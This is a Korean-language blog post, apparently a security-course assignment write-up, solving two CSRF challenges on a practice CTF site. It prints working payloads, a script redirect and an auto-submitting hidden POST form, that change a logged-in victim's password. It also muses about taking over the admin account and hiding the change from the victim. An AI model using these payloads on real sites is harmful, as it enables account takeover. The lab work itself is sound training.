8주차 과제(해킹)

Peroro·2023년 5월 24일
0
post-custom-banner

취약점 분석

  • 해당 페이지에서는 referer-check가 제대로 실행되지 않아 어느 페이지에서나 실행이 가능한 것으로 파악했다.
  • 하지만, 요청마다 세션 ID를 필요하기 때문에 사용자가 로그인을 한 상태에서 접근하게 만들어야 한다.

  • XSS 취약점도 존재함을 알 수 있다.

CSRF - 1

해당 문제는 GET 방식으로 request를 받는다.

  • script를 넣고 다음과 같은 코드를 넣었다.
<script>location.href = "http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=%ED%97%88%EB%8F%99%EC%9B%90&info=&pw=zxc123"</script>

  • 현재 id와 비밀번호를 바꾸는 요청을 GET방식으로 요청한다.

CSRF - 2

  • 1번 문제와는 달리 POST 방식으로만 request를 받는 것을 알 수 있다.
  • GET 방식으로 요청했을 때 에러가 나는 것을 알 수 있다.
<iframe width="0" height="0" border="0" name = "changeframe" id = "changeframe" style = "display: none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="stealthframe" referrerpolicy="no-referrer"> 
<input type="hidden" name="id" value="%ED%97%88%EB%8F%99%EC%9B%90">
<input type="hidden" name="info">
<input type="hidden" name="pw" value = "qwer1234">
</form> 
<script>document.forms[0].submit();</script>

  • 회원 정보 수정에 성공한 것을 알 수 있다.

  • admin의 정보를 탈취하기 위해서라면 id = admin으로, 패스워드 역시 내가 원하는 패스워드를 적어야할 것이다.
  • 문제가 있다면 회원정보가 변경되었다고 창이 뜨는 것인데, 저걸 어떻게 안보이게 할 방법이 없을까이다. 뿐만 아니라 패스워드가 변경되어 자동적으로 로그아웃이 되어 누가봐도 수상할 것이다. 좀 더 치밀하게 코드를 짤 필요가 있어보인다.
profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/
post-custom-banner

0개의 댓글